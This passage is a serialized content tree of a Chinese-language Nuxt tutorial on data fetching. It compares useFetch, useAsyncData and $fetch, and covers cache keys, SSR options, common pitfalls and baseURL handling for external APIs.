的分工",[57,8190,8191,8207],{},[60,8192,8193],{},[63,8194,8195,8197,8202],{},[66,8196],{},[66,8198,8199],{},[22,8200,8201],{},"useFetch(url, opts)",[66,8203,8204],{},[22,8205,8206],{},"useAsyncData(key, handler, opts)",[79,8208,8209,8226,8240,8257,8274],{},[63,8210,8211,8214,8223],{},[84,8212,8213],{},"内部做什么",[84,8215,8216,8217,8219,8220],{},"就是 ",[22,8218,5485],{}," 的包装，handler 是 ",[22,8221,8222],{},"$fetch(url)",[84,8224,8225],{},"你给任意异步函数（可以是三次串行请求、读文件、算东西）",[63,8227,8228,8231,8234],{},[84,8229,8230],{},"key",[84,8232,8233],{},"默认用 URL 生成",[84,8235,8236,8239],{},[17,8237,8238],{},"必须自己给","（同 key 共享同一份结果）",[63,8241,8242,8245,8251],{},[84,8243,8244],{},"自动取消",[84,8246,8247,8248,5149],{},"有（",[22,8249,8250],{},"abort",[84,8252,8253,8254,5149],{},"无（自己用 ",[22,8255,8256],{},"AbortController",[63,8258,8259,8262,8271],{},[84,8260,8261],{},"请求拦截\u002F自动前缀",[84,8263,8247,8264,8266,8267,8270],{},[22,8265,5482],{}," 内部 ",[22,8268,8269],{},"$fetch"," 的 baseURL 逻辑）",[84,8272,8273],{},"无",[63,8275,8276,8279,8282],{},[84,8277,8278],{},"什么时候用",[84,8280,8281],{},"取一个 HTTP 接口",[84,8283,8284],{},"组合多个来源、非 HTTP 的数据（DB、文件、计算）",[11,8286,8287,8288,322,8290,8293],{},"本站详情页用的就是 ",[22,8289,5485],{},[22,8291,8292],{},"queryCollection('tutorials').path(route.path).first()"," 是本地数据库查询，不是 HTTP 请求。",[53,8295,8297],{"id":8296},"keynuxt-数据缓存的开关","key：Nuxt 数据缓存的开关",[308,8299,8301],{"className":5205,"code":8300,"language":5207,"meta":314,"style":314},"\u002F\u002F 两个组件同 key → 只请求一次，共享同一份 data\nawait useAsyncData('user-stats', () => $fetch('\u002Fapi\u002Fstats'))\nawait useAsyncData('user-stats', () => $fetch('\u002Fapi\u002Fstats'))   \u002F\u002F 不会二次请求\n",[22,8302,8303,8308,8336],{"__ignoreMap":314},[331,8304,8305],{"class":333,"line":334},[331,8306,8307],{"class":1003},"\u002F\u002F 两个组件同 key → 只请求一次，共享同一份 data\n",[331,8309,8310,8312,8315,8317,8320,8323,8325,8328,8330,8333],{"class":333,"line":341},[331,8311,3286],{"class":616},[331,8313,8314],{"class":501}," useAsyncData",[331,8316,966],{"class":337},[331,8318,8319],{"class":365},"'user-stats'",[331,8321,8322],{"class":337},", () ",[331,8324,1489],{"class":616},[331,8326,8327],{"class":501}," $fetch",[331,8329,966],{"class":337},[331,8331,8332],{"class":365},"'\u002Fapi\u002Fstats'",[331,8334,8335],{"class":337},"))\n",[331,8337,8338,8340,8342,8344,8346,8348,8350,8352,8354,8356,8359],{"class":333,"line":357},[331,8339,3286],{"class":616},[331,8341,8314],{"class":501},[331,8343,966],{"class":337},[331,8345,8319],{"class":365},[331,8347,8322],{"class":337},[331,8349,1489],{"class":616},[331,8351,8327],{"class":501},[331,8353,966],{"class":337},[331,8355,8332],{"class":365},[331,8357,8358],{"class":337},"))   ",[331,8360,8361],{"class":1003},"\u002F\u002F 不会二次请求\n",[11,8363,8364,8367,8368,8371,8372,161],{},[22,8365,8366],{},"useFetch('\u002Fapi\u002Flist')"," 的默认 key 由 URL + 选项生成。两个组件用同一 URL 就自动共享；",[17,8369,8370],{},"URL 参数不同 key 就不同","，会各请求一次。要强制共享就显式写 ",[22,8373,8374],{},"{ key: 'list' }",[11,8376,8377,8378,8381,8382,8385],{},"这也解释了「为什么我在页脚拿不到最新数据」：同 key 的数据在 payload 里已存在，客户端不会自动重新请求。要刷新请调 ",[22,8379,8380],{},"refresh()","，或加 ",[22,8383,8384],{},"{ dedupe: 'always' }"," 之类的策略。",[53,8387,8389,8390,272,8393,272,8396],{"id":8388},"客户端才想要的数据lazyserver-falseimmediate","客户端才想要的数据：",[22,8391,8392],{},"lazy",[22,8394,8395],{},"server: false",[22,8397,8398],{},"immediate",[308,8400,8402],{"className":5205,"code":8401,"language":5207,"meta":314,"style":314},"\u002F\u002F ① 不阻塞首屏：先渲染，数据到达后再更新（HTML 里服务端已经取过，只是不 await）\nconst { data } = await useFetch('\u002Fapi\u002Fheavy', { lazy: true })\n\n\u002F\u002F ② 服务端完全不取（数据只在浏览器拿）—— 注意：正文不会进 SSR HTML，SEO 会空\nconst { data } = await useFetch('\u002Fapi\u002Fme', { server: false })\n\n\u002F\u002F ③ 先不请求，点按钮时才请求\nconst { data, execute } = await useAsyncData('detail', () => $fetch(`\u002Fapi\u002Fx\u002F${id}`), { immediate: false })\n\n\u002F\u002F ④ 参数变化时自动重新请求（默认只 watch 路由）\nconst { data } = await useFetch('\u002Fapi\u002Fsearch', { query: { q }, watch: [q] })\n",[22,8403,8404,8409,8437,8441,8446,8474,8478,8483,8532,8536,8541],{"__ignoreMap":314},[331,8405,8406],{"class":333,"line":334},[331,8407,8408],{"class":1003},"\u002F\u002F ① 不阻塞首屏：先渲染，数据到达后再更新（HTML 里服务端已经取过，只是不 await）\n",[331,8410,8411,8413,8415,8417,8419,8421,8423,8425,8427,8430,8433,8435],{"class":333,"line":341},[331,8412,951],{"class":616},[331,8414,605],{"class":337},[331,8416,5868],{"class":344},[331,8418,2599],{"class":337},[331,8420,518],{"class":616},[331,8422,1119],{"class":616},[331,8424,7982],{"class":501},[331,8426,966],{"class":337},[331,8428,8429],{"class":365},"'\u002Fapi\u002Fheavy'",[331,8431,8432],{"class":337},", { lazy: ",[331,8434,1131],{"class":344},[331,8436,1139],{"class":337},[331,8438,8439],{"class":333,"line":357},[331,8440,998],{"emptyLinePlaceholder":997},[331,8442,8443],{"class":333,"line":371},[331,8444,8445],{"class":1003},"\u002F\u002F ② 服务端完全不取（数据只在浏览器拿）—— 注意：正文不会进 SSR HTML，SEO 会空\n",[331,8447,8448,8450,8452,8454,8456,8458,8460,8462,8464,8467,8470,8472],{"class":333,"line":384},[331,8449,951],{"class":616},[331,8451,605],{"class":337},[331,8453,5868],{"class":344},[331,8455,2599],{"class":337},[331,8457,518],{"class":616},[331,8459,1119],{"class":616},[331,8461,7982],{"class":501},[331,8463,966],{"class":337},[331,8465,8466],{"class":365},"'\u002Fapi\u002Fme'",[331,8468,8469],{"class":337},", { server: ",[331,8471,3193],{"class":344},[331,8473,1139],{"class":337},[331,8475,8476],{"class":333,"line":397},[331,8477,998],{"emptyLinePlaceholder":997},[331,8479,8480],{"class":333,"line":418},[331,8481,8482],{"class":1003},"\u002F\u002F ③ 先不请求，点按钮时才请求\n",[331,8484,8485,8487,8489,8491,8493,8495,8497,8499,8501,8503,8505,8508,8510,8512,8514,8516,8519,8522,8525,8528,8530],{"class":333,"line":427},[331,8486,951],{"class":616},[331,8488,605],{"class":337},[331,8490,5868],{"class":344},[331,8492,409],{"class":337},[331,8494,8176],{"class":344},[331,8496,2599],{"class":337},[331,8498,518],{"class":616},[331,8500,1119],{"class":616},[331,8502,8314],{"class":501},[331,8504,966],{"class":337},[331,8506,8507],{"class":365},"'detail'",[331,8509,8322],{"class":337},[331,8511,1489],{"class":616},[331,8513,8327],{"class":501},[331,8515,966],{"class":337},[331,8517,8518],{"class":365},"`\u002Fapi\u002Fx\u002F${",[331,8520,8521],{"class":337},"id",[331,8523,8524],{"class":365},"}`",[331,8526,8527],{"class":337},"), { immediate: ",[331,8529,3193],{"class":344},[331,8531,1139],{"class":337},[331,8533,8534],{"class":333,"line":439},[331,8535,998],{"emptyLinePlaceholder":997},[331,8537,8538],{"class":333,"line":450},[331,8539,8540],{"class":1003},"\u002F\u002F ④ 参数变化时自动重新请求（默认只 watch 路由）\n",[331,8542,8543,8545,8547,8549,8551,8553,8555,8557,8559,8562],{"class":333,"line":456},[331,8544,951],{"class":616},[331,8546,605],{"class":337},[331,8548,5868],{"class":344},[331,8550,2599],{"class":337},[331,8552,518],{"class":616},[331,8554,1119],{"class":616},[331,8556,7982],{"class":501},[331,8558,966],{"class":337},[331,8560,8561],{"class":365},"'\u002Fapi\u002Fsearch'",[331,8563,8564],{"class":337},", { query: { q }, watch: [q] })\n",[11,8566,8567,8569,8570,8572],{},[22,8568,8395],{}," 的代价要说清楚：SSR 出的 HTML 里那块是空的（或是 ",[22,8571,5854],{}," 给的骨架），爬虫看到的是骨架，用户看到的是「内容闪一下」。只在「确实需要浏览器环境」（依赖 localStorage、需要当前登录 cookie 且接口不可服务端代理）时用。",[53,8574,8576,8577,8579],{"id":8575},"给数据一个-default少写一层判空","给数据一个 ",[22,8578,5854],{},"，少写一层判空",[308,8581,8583],{"className":5205,"code":8582,"language":5207,"meta":314,"style":314},"const { data: list } = await useFetch('\u002Fapi\u002Flist', {\n  default: () => []          \u002F\u002F Nuxt 4 起 data 初始为 undefined，不写 default 就得判 undefined\n})\n",[22,8584,8585,8614,8630],{"__ignoreMap":314},[331,8586,8587,8589,8591,8593,8595,8598,8600,8602,8604,8606,8608,8611],{"class":333,"line":334},[331,8588,951],{"class":616},[331,8590,605],{"class":337},[331,8592,5868],{"class":2472},[331,8594,348],{"class":337},[331,8596,8597],{"class":344},"list",[331,8599,2599],{"class":337},[331,8601,518],{"class":616},[331,8603,1119],{"class":616},[331,8605,7982],{"class":501},[331,8607,966],{"class":337},[331,8609,8610],{"class":365},"'\u002Fapi\u002Flist'",[331,8612,8613],{"class":337},", {\n",[331,8615,8616,8619,8622,8624,8627],{"class":333,"line":341},[331,8617,8618],{"class":501},"  default",[331,8620,8621],{"class":337},": () ",[331,8623,1489],{"class":616},[331,8625,8626],{"class":337}," []          ",[331,8628,8629],{"class":1003},"\u002F\u002F Nuxt 4 起 data 初始为 undefined，不写 default 就得判 undefined\n",[331,8631,8632],{"class":333,"line":357},[331,8633,5399],{"class":337},[11,8635,8636,8637,8639,8640,8642,8643,8645,8646,8649],{},"Nuxt 3 时代 ",[22,8638,5868],{}," 默认是 ",[22,8641,5858],{},"，Nuxt 4 变成 ",[22,8644,5872],{},"——从旧教程抄代码时这里最容易出「",[22,8647,8648],{},"list.length"," 报错」。",[53,8651,8653,8654],{"id":8652},"一次性副作用callonce","一次性副作用：",[22,8655,5494],{},[11,8657,8658],{},"有些东西只该在服务端跑一次（初始化数据库、预热缓存、写 cookie）：",[308,8660,8662],{"className":5205,"code":8661,"language":5207,"meta":314,"style":314},"await callOnce('seed', async () => { await $fetch('\u002Fapi\u002Fseed') })\n",[22,8663,8664],{"__ignoreMap":314},[331,8665,8666,8668,8671,8673,8676,8678,8680,8682,8684,8686,8688,8690,8692,8695],{"class":333,"line":334},[331,8667,3286],{"class":616},[331,8669,8670],{"class":501}," callOnce",[331,8672,966],{"class":337},[331,8674,8675],{"class":365},"'seed'",[331,8677,409],{"class":337},[331,8679,1063],{"class":616},[331,8681,7268],{"class":337},[331,8683,1489],{"class":616},[331,8685,605],{"class":337},[331,8687,3286],{"class":616},[331,8689,8327],{"class":501},[331,8691,966],{"class":337},[331,8693,8694],{"class":365},"'\u002Fapi\u002Fseed'",[331,8696,8697],{"class":337},") })\n",[11,8699,8700,8701,8703],{},"同一个 key 在整次请求生命周期内只执行一次；",[22,8702,5488],{}," 之类的全站初始化也能用它兜住。",[4748,8705],{"height":5635,"src":8706,"title":8707},"\u002Ftutorials\u002Fnuxt\u002Fdemos\u002F05-fetch-timeline.html","示例 05：两种写法的请求时序对比与 SSR payload",[11,8709,8710,8711,1901,8713,8715],{},"示例 05 把「onMounted + fetch」和「await useFetch」各放一遍：计数器显示 SSR 阶段 1 次 + 客户端 0 次 vs 1 次 + 1 次；再切 ",[22,8712,8395],{},[22,8714,8392],{}," 两个开关，看首屏文字和时间轴如何变化。",[53,8717,4796],{"id":8718},"️-本章的坑-4",[11,8720,8721,268,8727,8729,8730,8732,8733,8736,8737,8739,8740,161],{},[17,8722,8723,8724,8726],{},"1. ",[22,8725,3286],{}," 写在异步函数里没生效。",[22,8728,4775],{}," 支持顶层 await；但如果你把 ",[22,8731,5482],{}," 塞进一个普通函数（",[22,8734,8735],{},"function load() { await useFetch(...) }","）再在 ",[22,8738,6734],{}," 里调用，SSR 阶段就白跑了。要么在 setup 顶层直接 await，要么改用 ",[22,8741,8742],{},"onServerPrefetch",[11,8744,8745,8755,8756,8759,8760,6745,8763,161],{},[17,8746,8747,8748,8750,8751,655,8753,161],{},"2. 在 ",[22,8749,5482],{}," 里读 ",[22,8752,2795],{},[22,8754,140],{}," 服务端也会执行 handler 所在的上下文，SSR 时报 ",[22,8757,8758],{},"window is not defined","。需要浏览器环境的数据请用 ",[22,8761,8762],{},"{ server: false }",[22,8764,7850],{},[11,8766,8767,8770,8771,8774,8775,272,8778,4813],{},[17,8768,8769],{},"3. key 撞车导致数据互相覆盖。"," 两个不同页面用了同一个显式 key（",[22,8772,8773],{},"'list'","），从一个页面切回另一个页面时拿到的是对方的数据。给 key 带上业务语义（",[22,8776,8777],{},"tutorials-all",[22,8779,8780],{},"article-${id}",[11,8782,8783,8792,8793,8795,8796,6745,8799,8802],{},[17,8784,7689,8785,1901,8788,8791],{},[22,8786,8787],{},"pick",[22,8789,8790],{},"transform"," 忘了用，payload 巨大。"," SSR 把取到的数据序列化进 ",[22,8794,4943],{},"，列表接口返回 200 字段而页面只用 3 个字段时，用户多下载了 60 倍数据。",[22,8797,8798],{},"pick: ['id','title']",[22,8800,8801],{},"transform: (r) => r.map(slim)","，本章末尾有对照表。",[11,8804,8805,268,8811,8813,8814,8816,8817,8820,8821,8824],{},[17,8806,8807,8808,8810],{},"5. 页面里 ",[22,8809,8380],{}," 之后 loading 状态闪了两次。",[22,8812,8380],{}," 会重跑请求；要「静默刷新」用 ",[22,8815,8380],{}," 配合 ",[22,8818,8819],{},"{ dedupe: 'defer' }","，或直接 ",[22,8822,8823],{},"refresh({ dedupe: 'defer' })","（版本相关，实测为准）。",[11,8826,8827,268,8830,8833,8834,8837,8838,8841,8842,8845],{},[17,8828,8829],{},"6. 相对路径在服务端解析的是 Nuxt 服务器，不是你的后端。",[22,8831,8832],{},"useFetch('\u002Fapi\u002Fposts')"," 在 SSR 阶段由 Nitro 内部处理（命中你自己的 ",[22,8835,8836],{},"server\u002Fapi"," 时最省事，不发起真实网络请求）；但请求",[17,8839,8840],{},"外部域名","时必须写绝对 URL 或配 ",[22,8843,8844],{},"baseURL","——这是「本地能跑、服务器上 fetch 超时」的头号原因（第六章解决）。",[11,8847,8848,8851,8852,8854,8855,8858],{},[17,8849,8850],{},"7. 认证 cookie 在服务端取不到。"," SSR 阶段 ",[22,8853,8269],{}," 不会自动带上浏览器的 cookie。要么用 ",[22,8856,8857],{},"useRequestHeaders(['cookie'])"," 把请求头透传给内部接口，要么把这类「只有浏览器才知道结果」的数据放客户端取。",[11,8860,8861,268,8866,8869,8870,8873,8874,8876,8877,8880],{},[17,8862,5783,8863,8865],{},[22,8864,5868],{}," 是可响应式的，别在回调里整体替换它然后期望触发更新。",[22,8867,8868],{},"data.value = newData"," 是对的；",[22,8871,8872],{},"data.list.push(x)"," 若 ",[22,8875,5868],{}," 是 ref 就漏了 ",[22,8878,8879],{},".value","。（Vue 教程第四章的老规矩在这里一样适用。）",[53,8882,8884],{"id":8883},"附数据获取选项速查","附：数据获取选项速查",[57,8886,8887,8899],{},[60,8888,8889],{},[63,8890,8891,8894,8897],{},[66,8892,8893],{},"选项",[66,8895,8896],{},"类型",[66,8898,7759],{},[79,8900,8901,8913,8929,8940,8957,8970,8981,8994,9011,9026,9041,9060,9072,9087,9106],{},[63,8902,8903,8907,8910],{},[84,8904,8905],{},[22,8906,8230],{},[84,8908,8909],{},"string",[84,8911,8912],{},"缓存键；同 key 只跑一次",[63,8914,8915,8920,8923],{},[84,8916,8917],{},[22,8918,8919],{},"server",[84,8921,8922],{},"boolean",[84,8924,8925,8926,8928],{},"是否在服务端执行（",[22,8927,3193],{}," = 只客户端）",[63,8930,8931,8935,8937],{},[84,8932,8933],{},[22,8934,8392],{},[84,8936,8922],{},[84,8938,8939],{},"不阻塞导航\u002F渲染，数据到达后再更新",[63,8941,8942,8946,8948],{},[84,8943,8944],{},[22,8945,8398],{},[84,8947,8922],{},[84,8949,8950,8951,8953,8954,5149],{},"创建时是否立刻执行（",[22,8952,3193],{}," 配 ",[22,8955,8956],{},"execute()",[63,8958,8959,8963,8967],{},[84,8960,8961],{},[22,8962,8787],{},[84,8964,8909,8965],{},[331,8966],{},[84,8968,8969],{},"只保留返回值的指定字段进 payload",[63,8971,8972,8976,8978],{},[84,8973,8974],{},[22,8975,8790],{},[84,8977,3047],{},[84,8979,8980],{},"转换\u002F裁剪返回值",[63,8982,8983,8987,8989],{},[84,8984,8985],{},[22,8986,5854],{},[84,8988,3047],{},[84,8990,8991,8993],{},[22,8992,5868],{}," 的初始值（Nuxt 4 建议显式给）",[63,8995,8996,9000,9005],{},[84,8997,8998],{},[22,8999,5460],{},[84,9001,9002,9003],{},"Ref",[331,9004],{},[84,9006,9007,9008,9010],{},"依赖变化时自动重新请求；传 ",[22,9009,6725],{}," 关掉自动触发",[63,9012,9013,9018,9023],{},[84,9014,9015],{},[22,9016,9017],{},"dedupe",[84,9019,9020],{},[22,9021,9022],{},"'cancel' | 'defer' | 'allow'",[84,9024,9025],{},"同一请求并发时的策略（默认 cancel）",[63,9027,9028,9035,9038],{},[84,9029,9030,1901,9032],{},[22,9031,1125],{},[22,9033,9034],{},"params",[84,9036,9037],{},"object",[84,9039,9040],{},"拼 URL 查询串（对象值会被序列化）",[63,9042,9043,9053,9055],{},[84,9044,9045,1901,9048,1901,9051],{},[22,9046,9047],{},"headers",[22,9049,9050],{},"method",[22,9052,800],{},[84,9054,5122],{},[84,9056,9057,9058],{},"透传给 ",[22,9059,8269],{},[63,9061,9062,9067,9069],{},[84,9063,9064],{},[22,9065,9066],{},"getCachedData",[84,9068,3047],{},[84,9070,9071],{},"自定义「是否复用已有数据」（做数据级缓存）",[63,9073,9074,9082,9084],{},[84,9075,9076,1901,9079],{},[22,9077,9078],{},"onResponse",[22,9080,9081],{},"onError",[84,9083,3047],{},[84,9085,9086],{},"请求回调（埋点、错误提示）",[63,9088,9089,9094,9096],{},[84,9090,9091],{},[22,9092,9093],{},"response",[84,9095,5122],{},[84,9097,9098,9101,9102,9105],{},[22,9099,9100],{},"await useFetch(...)"," 返回的 promise 上有 ",[22,9103,9104],{},".response","（含状态码\u002F头）",[63,9107,9108,9113,9116],{},[84,9109,9110],{},[22,9111,9112],{},"signal",[84,9114,9115],{},"AbortSignal",[84,9117,9118],{},"自己接管取消",[48,9120,9122,9123,9125],{"id":9121},"六fetch底层请求函数与它的-baseurl","六、",[22,9124,8269],{},"：底层请求函数与它的 baseURL",[11,9127,9128,9130,9131,9133,9134,9136],{},[22,9129,5482],{}," 内部调的就是 ",[22,9132,8269],{},"。当你不需要「进 payload、SSR 等待、缓存」这套语义时（比如提交表单、点按钮加载下一页），直接用 ",[22,9135,8269],{}," 更轻。",[308,9138,9140],{"className":5205,"code":9139,"language":5207,"meta":314,"style":314},"\u002F\u002F 组件里\nconst form = reactive({ title: '', body: '' })\nasync function submit() {\n  const res = await $fetch('\u002Fapi\u002Fposts', { method: 'POST', body: { ...form } })\n  await navigateTo(`\u002Fposts\u002F${res.id}`)\n}\n",[22,9141,9142,9147,9172,9183,9215,9237],{"__ignoreMap":314},[331,9143,9144],{"class":333,"line":334},[331,9145,9146],{"class":1003},"\u002F\u002F 组件里\n",[331,9148,9149,9151,9154,9156,9159,9162,9165,9168,9170],{"class":333,"line":341},[331,9150,951],{"class":616},[331,9152,9153],{"class":344}," form",[331,9155,957],{"class":616},[331,9157,9158],{"class":501}," reactive",[331,9160,9161],{"class":337},"({ title: ",[331,9163,9164],{"class":365},"''",[331,9166,9167],{"class":337},", body: ",[331,9169,9164],{"class":365},[331,9171,1139],{"class":337},[331,9173,9174,9176,9178,9181],{"class":333,"line":357},[331,9175,1063],{"class":616},[331,9177,1066],{"class":616},[331,9179,9180],{"class":501}," submit",[331,9182,1072],{"class":337},[331,9184,9185,9187,9190,9192,9194,9196,9198,9200,9203,9206,9209,9212],{"class":333,"line":371},[331,9186,1496],{"class":616},[331,9188,9189],{"class":344}," res",[331,9191,957],{"class":616},[331,9193,1119],{"class":616},[331,9195,8327],{"class":501},[331,9197,966],{"class":337},[331,9199,7987],{"class":365},[331,9201,9202],{"class":337},", { method: ",[331,9204,9205],{"class":365},"'POST'",[331,9207,9208],{"class":337},", body: { ",[331,9210,9211],{"class":616},"...",[331,9213,9214],{"class":337},"form } })\n",[331,9216,9217,9219,9221,9223,9226,9229,9231,9233,9235],{"class":333,"line":384},[331,9218,2523],{"class":616},[331,9220,6313],{"class":501},[331,9222,966],{"class":337},[331,9224,9225],{"class":365},"`\u002Fposts\u002F${",[331,9227,9228],{"class":337},"res",[331,9230,1192],{"class":365},[331,9232,8521],{"class":337},[331,9234,8524],{"class":365},[331,9236,972],{"class":337},[331,9238,9239],{"class":333,"line":397},[331,9240,459],{"class":337},[11,9242,9243,9245,9246,9249,9250,9253],{},[22,9244,8269],{}," 来自 ",[22,9247,9248],{},"ofetch","，Nuxt 给它注入了一层拦截（",[22,9251,9252],{},"useNuxtApp().$fetch","）。常用的四个选项：",[308,9255,9257],{"className":5205,"code":9256,"language":5207,"meta":314,"style":314},"await $fetch('\u002Fapi\u002Flist', {\n  baseURL: '\u002Fapi',              \u002F\u002F 前缀（注意：URL 已经是绝对地址时 baseURL 被忽略）\n  query: { page: 2, tag: ['a', 'b'] },\n  headers: { 'x-trace': id },\n  timeout: 5000,\n  retry: 1,                     \u002F\u002F 失败重试次数（默认：GET 重试、POST 不重试）\n  onResponse({ response, options }) { \u002F* 统一处理 *\u002F },\n  onRequestError({ request, options, error }) { \u002F* 请求没发出去\u002F被取消 *\u002F },\n  onResponseError({ request, response, options }) { \u002F* 4xx\u002F5xx：会 throw *\u002F }\n})\n",[22,9258,9259,9271,9285,9307,9318,9328,9341,9364,9389,9414],{"__ignoreMap":314},[331,9260,9261,9263,9265,9267,9269],{"class":333,"line":334},[331,9262,3286],{"class":616},[331,9264,8327],{"class":501},[331,9266,966],{"class":337},[331,9268,8610],{"class":365},[331,9270,8613],{"class":337},[331,9272,9273,9276,9279,9282],{"class":333,"line":341},[331,9274,9275],{"class":337},"  baseURL: ",[331,9277,9278],{"class":365},"'\u002Fapi'",[331,9280,9281],{"class":337},",              ",[331,9283,9284],{"class":1003},"\u002F\u002F 前缀（注意：URL 已经是绝对地址时 baseURL 被忽略）\n",[331,9286,9287,9290,9293,9296,9299,9301,9304],{"class":333,"line":357},[331,9288,9289],{"class":337},"  query: { page: ",[331,9291,9292],{"class":344},"2",[331,9294,9295],{"class":337},", tag: [",[331,9297,9298],{"class":365},"'a'",[331,9300,409],{"class":337},[331,9302,9303],{"class":365},"'b'",[331,9305,9306],{"class":337},"] },\n",[331,9308,9309,9312,9315],{"class":333,"line":371},[331,9310,9311],{"class":337},"  headers: { ",[331,9313,9314],{"class":365},"'x-trace'",[331,9316,9317],{"class":337},": id },\n",[331,9319,9320,9323,9326],{"class":333,"line":384},[331,9321,9322],{"class":337},"  timeout: ",[331,9324,9325],{"class":344},"5000",[331,9327,354],{"class":337},[331,9329,9330,9333,9335,9338],{"class":333,"line":397},[331,9331,9332],{"class":337},"  retry: ",[331,9334,7993],{"class":344},[331,9336,9337],{"class":337},",                     ",[331,9339,9340],{"class":1003},"\u002F\u002F 失败重试次数（默认：GET 重试、POST 不重试）\n",[331,9342,9343,9346,9349,9351,9353,9356,9359,9362],{"class":333,"line":418},[331,9344,9345],{"class":501},"  onResponse",[331,9347,9348],{"class":337},"({ ",[331,9350,9093],{"class":2472},[331,9352,409],{"class":337},[331,9354,9355],{"class":2472},"options",[331,9357,9358],{"class":337}," }) { ",[331,9360,9361],{"class":1003},"\u002F* 统一处理 *\u002F",[331,9363,5251],{"class":337},[331,9365,9366,9369,9371,9374,9376,9378,9380,9382,9384,9387],{"class":333,"line":427},[331,9367,9368],{"class":501},"  onRequestError",[331,9370,9348],{"class":337},[331,9372,9373],{"class":2472},"request",[331,9375,409],{"class":337},[331,9377,9355],{"class":2472},[331,9379,409],{"class":337},[331,9381,1333],{"class":2472},[331,9383,9358],{"class":337},[331,9385,9386],{"class":1003},"\u002F* 请求没发出去\u002F被取消 *\u002F",[331,9388,5251],{"class":337},[331,9390,9391,9394,9396,9398,9400,9402,9404,9406,9408,9411],{"class":333,"line":439},[331,9392,9393],{"class":501},"  onResponseError",[331,9395,9348],{"class":337},[331,9397,9373],{"class":2472},[331,9399,409],{"class":337},[331,9401,9093],{"class":2472},[331,9403,409],{"class":337},[331,9405,9355],{"class":2472},[331,9407,9358],{"class":337},[331,9409,9410],{"class":1003},"\u002F* 4xx\u002F5xx：会 throw *\u002F",[331,9412,9413],{"class":337}," }\n",[331,9415,9416],{"class":333,"line":450},[331,9417,5399],{"class":337},[11,9419,9420,9421,9424,9425,9428,9429,9431,9432,9435,9436,9439],{},"一条必须知道的默认行为：",[17,9422,9423],{},"非 2xx 会抛错","（不是返回一个 ",[22,9426,9427],{},"{ ok: false }","）。所以所有 ",[22,9430,8269],{}," 都要包 ",[22,9433,9434],{},"try\u002Fcatch","，或者在 ",[22,9437,9438],{},"onResponseError"," 里统一转成提示：",[308,9441,9443],{"className":5205,"code":9442,"language":5207,"meta":314,"style":314},"try {\n  await $fetch('\u002Fapi\u002Forder', { method: 'POST', body })\n} catch (e: any) {\n  \u002F\u002F e.data 是被解析后的响应体；e.response.status 是状态码\n  toast(e?.data?.message || '提交失败，请稍后再试')\n}\n",[22,9444,9445,9452,9470,9489,9494,9509],{"__ignoreMap":314},[331,9446,9447,9450],{"class":333,"line":334},[331,9448,9449],{"class":616},"try",[331,9451,1100],{"class":337},[331,9453,9454,9456,9458,9460,9463,9465,9467],{"class":333,"line":341},[331,9455,2523],{"class":616},[331,9457,8327],{"class":501},[331,9459,966],{"class":337},[331,9461,9462],{"class":365},"'\u002Fapi\u002Forder'",[331,9464,9202],{"class":337},[331,9466,9205],{"class":365},[331,9468,9469],{"class":337},", body })\n",[331,9471,9472,9475,9477,9479,9482,9484,9487],{"class":333,"line":357},[331,9473,9474],{"class":337},"} ",[331,9476,1317],{"class":616},[331,9478,1147],{"class":337},[331,9480,9481],{"class":2472},"e",[331,9483,1180],{"class":616},[331,9485,9486],{"class":344}," any",[331,9488,2476],{"class":337},[331,9490,9491],{"class":333,"line":371},[331,9492,9493],{"class":1003},"  \u002F\u002F e.data 是被解析后的响应体；e.response.status 是状态码\n",[331,9495,9496,9499,9502,9504,9507],{"class":333,"line":384},[331,9497,9498],{"class":501},"  toast",[331,9500,9501],{"class":337},"(e?.data?.message ",[331,9503,1162],{"class":616},[331,9505,9506],{"class":365}," '提交失败，请稍后再试'",[331,9508,972],{"class":337},[331,9510,9511],{"class":333,"line":397},[331,9512,459],{"class":337},[53,9514,9516],{"id":9515},"服务端阶段访问外部-apibaseurl-的真相","服务端阶段访问外部 API：baseURL 的真相",[11,9518,9519],{},"这是 Nuxt 新手最大的一个坑，必须单独讲。",[11,9521,9522,9523,9526,9527,9530],{},"SSR 阶段执行 ",[22,9524,9525],{},"useFetch('\u002Fapi\u002Fx')"," 时，请求",[17,9528,9529],{},"不发往浏览器地址","，而是在 Nitro 内部直接调用对应的 handler（省一次网络往返，很好）。但如果你的意图是「让浏览器去请求第三方域名」，写成相对路径就错了：",[308,9532,9534],{"className":5205,"code":9533,"language":5207,"meta":314,"style":314},"\u002F\u002F ✗ SSR 阶段：Nitro 会把它当成自己的 \u002Fapi\u002Fx 处理 → 404 或打到不存在的 handler\nawait useFetch('\u002Fapi\u002Fx')\n\n\u002F\u002F ✗ SSR 阶段：从服务器发起，指向的是「本机」而不是外部服务\nawait useFetch('\u002Fweather', { baseURL: 'https:\u002F\u002Fapi.open-meteo.com' })  \u002F\u002F 这种写法是对的（绝对域名）\n\n\u002F\u002F ✓ 正确姿势一：让服务端接口做代理，前端只访问自己\n\u002F\u002F   app\u002Fpages\u002F…\nawait useFetch('\u002Fapi\u002Fweather')          \u002F\u002F Nuxt 自己的接口\n\u002F\u002F   server\u002Fapi\u002Fweather.get.ts\nexport default defineEventHandler(() => $fetch('https:\u002F\u002Fapi.open-meteo.com\u002Fv1\u002Fforecast?latitude=…'))\n\n\u002F\u002F ✓ 正确姿势二：外部地址写成绝对 URL，并接受「这是服务端发起的请求」\nawait useFetch('https:\u002F\u002Fapi.example.com\u002Fv1\u002Flist', { headers: { authorization: `Bearer ${token}` } })\n",[22,9535,9536,9541,9554,9558,9563,9586,9590,9595,9600,9617,9622,9644,9648,9653],{"__ignoreMap":314},[331,9537,9538],{"class":333,"line":334},[331,9539,9540],{"class":1003},"\u002F\u002F ✗ SSR 阶段：Nitro 会把它当成自己的 \u002Fapi\u002Fx 处理 → 404 或打到不存在的 handler\n",[331,9542,9543,9545,9547,9549,9552],{"class":333,"line":341},[331,9544,3286],{"class":616},[331,9546,7982],{"class":501},[331,9548,966],{"class":337},[331,9550,9551],{"class":365},"'\u002Fapi\u002Fx'",[331,9553,972],{"class":337},[331,9555,9556],{"class":333,"line":357},[331,9557,998],{"emptyLinePlaceholder":997},[331,9559,9560],{"class":333,"line":371},[331,9561,9562],{"class":1003},"\u002F\u002F ✗ SSR 阶段：从服务器发起，指向的是「本机」而不是外部服务\n",[331,9564,9565,9567,9569,9571,9574,9577,9580,9583],{"class":333,"line":384},[331,9566,3286],{"class":616},[331,9568,7982],{"class":501},[331,9570,966],{"class":337},[331,9572,9573],{"class":365},"'\u002Fweather'",[331,9575,9576],{"class":337},", { baseURL: 